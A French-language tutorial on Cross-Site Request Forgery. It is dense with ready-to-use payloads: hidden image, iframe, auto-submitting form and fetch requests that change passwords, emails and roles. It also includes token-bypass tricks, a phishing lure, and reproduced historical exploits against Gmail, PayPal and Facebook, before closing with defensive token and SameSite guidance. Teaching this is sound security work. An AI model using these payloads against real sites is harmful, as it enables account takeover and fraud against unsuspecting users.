Cross-Site Request Forgery
Exploiter les relations de confiance entre les navigateurs et les applications
Ce que vous allez découvrir
🎯 Pourquoi c'est important
Le Cross-Site Request Forgery exploite la confiance fondamentale que les applications web accordent aux navigateurs des utilisateurs authentifiés. Contrairement à d'autres attaques qui ciblent des vulnérabilités spécifiques, le CSRF exploite la façon dont les navigateurs incluent automatiquement les cookies d'authentification dans les requêtes. Cela le rend particulièrement dangereux car les utilisateurs peuvent être amenés à effectuer des actions qu'ils n'ont jamais voulu faire, sans aucune indication visible qu'une attaque s'est produite.
🔍 Ce que vous allez apprendre
Vous comprendrez les mécanismes des attaques CSRF et comment identifier les points d'entrée vulnérables manquant de protection adéquate. Cela inclut la création d'exploits basés sur GET et POST, le contournement de jetons CSRF faibles, et la combinaison de techniques d'ingénierie sociale avec l'exploitation technique — la même approche systématique utilisée par les experts en sécurité dans les évaluations réelles.
🚀 Votre première victoire
Dans les 15 prochaines minutes, vous exécuterez avec succès une attaque CSRF qui change le mot de passe d'un administrateur en le piégeant pour qu'il visite une page web malveillante, démontrant comment des fonctionnalités critiques peuvent être compromises par l'exploitation de la confiance.
🔧 Essayez maintenant
Créez une preuve de concept CSRF qui démontre comment la confiance du navigateur peut être exploitée
# CSRF basé sur GET (image cachée)
<img src="http://<target>/admin/delete_user?id=123" style="display:none">
# CSRF basé sur POST (formulaire auto-soumis)
<form id="csrf" action="http://<target>/change_password" method="POST">
<input type="hidden" name="new_password" value="hacked123">
</form>
<script>document.getElementById('csrf').submit();</script>
# Chaîne d'attaque CSRF multi-étapes
<img src="http://<target>/admin/change_email?email=attacker@evil.com">
<img src="http://<target>/admin/reset_password">
# Livraison par ingénierie sociale
# Objet: "Urgent: Cliquez ici pour vérifier votre compte"
# Le lien mène à une page contenant des formulaires CSRF cachés
Vous verrez : Comment les navigateurs incluent automatiquement les cookies d'authentification dans les requêtes, faisant exécuter involontairement aux utilisateurs des actions sur les sites où ils sont connectés. Ce comportement fondamental des navigateurs est ce qui rend les attaques CSRF si efficaces.
Compétences que vous maîtriserez
✅ Compréhension fondamentale
- Mécanismes d'authentification du navigateur et comportement des cookies
- Implications de la politique de même origine pour les requêtes cross-site
- Vecteurs d'attaque CSRF et techniques d'exploitation
- Failles de validation des jetons et méthodes de contournement
🔍 Compétences avancées
- Intégration de l'ingénierie sociale avec les attaques techniques
- Création de charges utiles d'attaque pour différents contextes
- Analyse des en-têtes de sécurité et techniques de contournement
- Implémentation de défenses et méthodologies de test
Comprendre les mécanismes d'attaque CSRF
Le CSRF fonctionne en exploitant l'inclusion automatique des cookies d'authentification dans les requêtes cross-site
L'attaque réussit parce que les navigateurs incluent automatiquement les cookies lors des requêtes vers n'importe quel domaine, quelle que soit l'origine de la requête. Lorsqu'un utilisateur visite un site malveillant alors qu'il est authentifié sur une application cible, le navigateur envoie consciencieusement ses cookies de session, faisant apparaître la requête forgée comme légitime au serveur.
Flux d'attaque
La séquence d'événements dans une attaque CSRF
1. L'utilisateur se connecte à target.com
2. L'utilisateur visite evil.com (toujours connecté)
3. evil.com déclenche une requête vers target.com
4. Le navigateur inclut les cookies de target.com
5. target.com traite la requête comme légitime
Cibles courantes
Opérations vulnérables à l'exploitation CSRF
Changements de mot de passe
Mises à jour d'email
Modifications de privilèges utilisateur
Transactions financières
Changements de paramètres de compte
Opérations du panneau d'administration
Méthodes de détection
Comment identifier les vulnérabilités CSRF
Jetons CSRF manquants
Validation de jeton faible
Requêtes GET pour les changements d'état
Vérification optionnelle des jetons
Motifs de jetons prévisibles
Outils et techniques
Les attaques CSRF reposent davantage sur la compréhension du comportement des navigateurs et l'ingénierie sociale que sur des outils spécialisés, ce qui en fait une technique qui distingue les experts en sécurité réfléchis des testeurs dépendants des outils.
CSRF basé sur GET : l'approche la plus simple
Les attaques CSRF basées sur GET sont les plus faciles à exécuter et souvent les plus efficaces car elles peuvent être déclenchées par des éléments HTML comme les images ou les iframes.
Techniques d'exploitation des requêtes GET
# CSRF par balise image (le plus courant)
<img src="http://<target>/admin/delete_user?id=123" style="display:none">
# Actions multiples dans une seule page
<img src="http://<target>/admin/change_password?new_pass=hacked123" style="display:none">
<img src="http://<target>/admin/add_user?username=attacker&role=admin" style="display:none">
# CSRF basé sur lien
<a href="http://<target>/admin/transfer_funds?amount=10000&to=attacker_account">
Cliquez ici pour votre cadeau gratuit !</a>
# CSRF basé sur iframe (charge invisiblement)
<iframe src="http://<target>/admin/grant_privileges?user=attacker"
style="display:none"></iframe>
# Requêtes déclenchées par JavaScript
<script>
fetch('http://<target>/api/change_email?email=attacker@evil.com',
{credentials: 'include'});
</script>
Ces techniques fonctionnent parce que les navigateurs incluent automatiquement les cookies pour le domaine cible, quelle que soit l'origine de la requête — la faille fondamentale que le CSRF exploite.
CSRF basé sur POST : attaques par formulaire avancées
Les attaques basées sur POST nécessitent des formulaires mais sont souvent plus efficaces contre les applications modernes qui évitent correctement les requêtes GET pour les opérations modifiant l'état.
Techniques d'attaque par formulaire
# Formulaire auto-soumis (s'exécute immédiatement)
<form id="csrf-attack" action="http://<target>/admin/change_email" method="POST">
<input type="hidden" name="new_email" value="attacker@evil.com">
<input type="hidden" name="confirm" value="yes">
</form>
<script>document.getElementById('csrf-attack').submit();</script>
# Formulaire déclenché par l'utilisateur (nécessite un clic)
<form action="http://<target>/admin/change_password" method="POST">
<input type="hidden" name="new_password" value="hacked123">
<input type="submit" value="Réclamez votre prix gratuit !">
</form>
# Requête POST AJAX
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://<target>/api/update_profile', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials = true;
xhr.send('email=attacker@evil.com&phone=555-HACK');
</script>
# CSRF sur API JSON (si CORS le permet)
fetch('http://<target>/api/user/update', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({role: 'admin', user_id: 123})
});
Les attaques POST peuvent modifier des structures de données complexes et déclencher des opérations multi-étapes, les rendant particulièrement dangereuses pour les fonctions administratives.
Contournement de jetons : vaincre les protections faibles
De nombreuses applications implémentent incorrectement les jetons CSRF, créant des opportunités de contournement que les experts en sécurité peuvent exploiter systématiquement.
Faiblesses de validation des jetons
# Failles courantes d'implémentation de jetons CSRF
# 1. Validation optionnelle du jeton (omettre le jeton)
if (isset($_POST['csrf_token'])) {
validate_csrf($_POST['csrf_token']);
}
# Contournement : Ne pas inclure le paramètre csrf_token
# 2. Acceptation du jeton vide
if ($_POST['csrf_token'] != "") {
validate_csrf($_POST['csrf_token']);
}
# Contournement : csrf_token=""
# 3. Tout jeton valide accepté (non lié à la session)
if (in_array($_POST['csrf_token'], $valid_tokens)) {
// Traiter la requête
}
# Contournement : Utiliser n'importe quel jeton valide vu précédemment
# 4. Validation insensible à la casse
if (strtolower($submitted) == strtolower($expected))
# Contournement : Changer la casse du jeton valide
# 5. Génération de jeton prévisible
$token = md5($user_id . date('Y-m-d'));
# Contournement : Générer le jeton attendu en utilisant le motif connu
Comprendre ces failles d'implémentation courantes permet aux experts en sécurité de tester systématiquement la protection CSRF et d'identifier des contournements que les outils automatisés manquent.
Scénarios d'attaque réels
Ces scénarios sont basés sur des vulnérabilités CSRF réellement documentées découvertes dans des plateformes majeures, démontrant l'impact réel et les techniques utilisées par les chercheurs en sécurité et les attaquants.
Détournement de filtres Gmail (2007, GNUCITIZEN)
La première attaque CSRF majeure sur Gmail permettait aux attaquants de créer des filtres de messagerie persistants qui transféraient tous les emails avec pièces jointes vers le compte de l'attaquant. Découverte par GNUCITIZEN (pdp) et utilisée plus tard dans le détournement réel du domaine de David Airey .
# Charge utile d'attaque réelle de la recherche GNUCITIZEN
<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf"
enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="attacker@evil.com"/>
<input type="hidden" name="cf1_from" value=""/>
<input type="hidden" name="cf1_to" value=""/>
<input type="hidden" name="cf1_subj" value=""/>
<input type="hidden" name="cf1_has" value=""/>
<input type="hidden" name="cf1_hasnot" value=""/>
<input type="hidden" name="cf1_attach" value="true"/>
<input type="hidden" name="tfi" value=""/>
<input type="hidden" name="s" value="z"/>
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
document.forms[0].submit();
</script>
# Impact : Tous les emails avec pièces jointes transférés à l'attaquant
# Utilisé dans de vrais détournements de domaines valant des milliers de dollars
Impact réel : Cette technique a été utilisée par des attaquants iraniens pour détourner des enregistrements de domaines en interceptant les emails de renouvellement, comme documenté dans la Web Hacking Incidents Database .
Prise de contrôle universelle de compte PayPal (2014, Yasser Ali)
Le chercheur en sécurité Yasser Ali a découvert une vulnérabilité CSRF critique affectant chaque compte PayPal. La faille permettait aux attaquants de générer un jeton d'authentification "universel" fonctionnant pour n'importe quel utilisateur, permettant une prise de contrôle complète du compte en un seul clic.
# Étape 1 : Générer un jeton d'auth universel (contrôlé par l'attaquant)
# Visiter la page PayPal d'envoi d'argent sans authentification
# Capturer le jeton d'auth réutilisable de la requête
# Étape 2 : Charge CSRF utilisant le jeton universel
<form action="https://www.paypal.com/cgi-bin/webscr" method="POST">
<input type="hidden" name="cmd" value="_account-settings">
<input type="hidden" name="add_email" value="attacker@evil.com">
<input type="hidden" name="auth" value="[UNIVERSAL_TOKEN]">
</form>
# Étape 3 : Changer les questions de sécurité (contournant la protection par mot de passe)
<form action="https://www.paypal.com/cgi-bin/webscr" method="POST">
<input type="hidden" name="cmd" value="_set-security-questions">
<input type="hidden" name="question1" value="Combien font 1+1 ?">
<input type="hidden" name="answer1" value="2">
<input type="hidden" name="auth" value="[UNIVERSAL_TOKEN]">
</form>
<script>
// Auto-soumettre les deux formulaires
document.forms[0].submit();
setTimeout(() => document.forms[1].submit(), 1000);
</script>
Bug Bounty : PayPal a accordé à Ali 10 000 USD pour cette découverte. La vulnérabilité affectait les 156 millions de comptes PayPal à l'époque.
Contournement de confirmation d'email Facebook (2019, Lokesh Kumar)
Le chasseur de bugs Lokesh Kumar a trouvé une vulnérabilité CSRF dans le flux OAuth de Facebook qui permettait aux attaquants de vérifier n'importe quel compte Gmail ou G-Suite sur Facebook sans que le propriétaire de l'email le sache.
# Étape 1 : Forcer la connexion au compte Facebook de l'attaquant
<iframe src="https://www.facebook.com/recover/password/?u=[ATTACKER_UID]&n=[CODE]&ars=one_click_login&fl=one_click_login&spc=1&ocl=1&sih=0"
style="display:none"></iframe>
# Étape 2 : Exploiter la validation CSRF manquante dans le flux OAuth
# Paramètre state réutilisable de la session de l'attaquant
<script>
var oauth_url = "https://accounts.google.com/o/oauth2/auth?" +
"client_id=15057814354-80cg059cn49j6kmhhkjam4b00on1gb2n.apps.googleusercontent.com&" +
"state=ARf8Zzq50032sck96TSFssFhWVvMUWO7KEJlq3n3_7Yp73WcWvlpyFn1dpdoUGv5&" +
"response_type=code&" +
"redirect_uri=https://www.facebook.com/oauth2/redirect/&" +
"scope=openid+email&" +
"login_hint=victim@gmail.com";
// Ouvrir le popup OAuth pour l'email de la victime
window.open(oauth_url, '_blank');
</script>
# Étape 3 : Déconnexion automatique après confirmation
<img src="https://m.facebook.com/logout.php?h=17AfealsadvYomDS"
style="display:none">
# Résultat : Gmail de la victime vérifié sur le compte Facebook de l'attaquant
Bug Bounty : Facebook a accordé à Kumar 3 000 USD pour cette vulnérabilité, qui a été corrigée le 31 mai 2019.
Contre-mesures défensives
Comprendre les mesures défensives vous aide à identifier les implémentations faibles lors des tests de sécurité et à fournir des conseils de remédiation précieux aux équipes de développement.
Motif du jeton synchroniseur : la référence
La protection CSRF la plus efficace utilise des jetons uniques et imprévisibles liés à la session de l'utilisateur et validés à chaque requête modifiant l'état.
Implémentation correcte des jetons
# Génération sécurisée de jeton (PHP)
session_start();
// Générer un jeton cryptographiquement sécurisé
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Validation stricte (toutes les requêtes)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_POST['csrf_token']) ||
!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
http_response_code(403);
die('Échec de la validation du jeton CSRF');
}
}
// Formulaire HTML avec jeton
<form method="POST" action="/change_password">
<input type="hidden" name="csrf_token"
value="<?= htmlspecialchars($_SESSION['csrf_token']) ?>">
<input type="password" name="new_password" required>
<input type="submit" value="Changer le mot de passe">
</form>
Bonnes pratiques d'implémentation
- Validation obligatoire - Ne jamais rendre la vérification du jeton optionnelle
- Aléatoire cryptographique - Utiliser des générateurs aléatoires sécurisés
- Liaison à la session - Lier les jetons aux sessions utilisateur spécifiques
- Limites de temps - Régénérer les jetons périodiquement
Cookies SameSite : protection moderne du navigateur
Les attributs de cookie SameSite fournissent une protection CSRF automatique en contrôlant quand les navigateurs incluent les cookies dans les requêtes cross-site.
Configuration SameSite
# SameSite Strict (protection maximale)
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
# SameSite Lax (protection équilibrée)
Set-Cookie: sessionid=abc123; SameSite=Lax; Secure; HttpOnly
# Options SameSite expliquées :
# Strict : Cookie jamais envoyé sur les requêtes cross-site
# Lax : Cookie envoyé uniquement sur la navigation de niveau supérieur (défaut)
# None : Cookie toujours envoyé (nécessite le flag Secure)
# Implémentation PHP
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'domain' => '.example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
# Node.js avec Express
app.use(session({
cookie: {
sameSite: 'strict',
secure: true,
httpOnly: true
}
}));
🎯 Vous maîtrisez le CSRF !
Vous comprenez maintenant comment exploiter la relation de confiance entre les navigateurs et les applications web en utilisant le Cross-Site Request Forgery. Vous pouvez identifier les points d'entrée vulnérables, créer des attaques efficaces et implémenter des contre-mesures défensives appropriées en utilisant la même approche systématique sur laquelle les experts en sécurité s'appuient.
Prêt à accéder aux réseaux internes et services cloud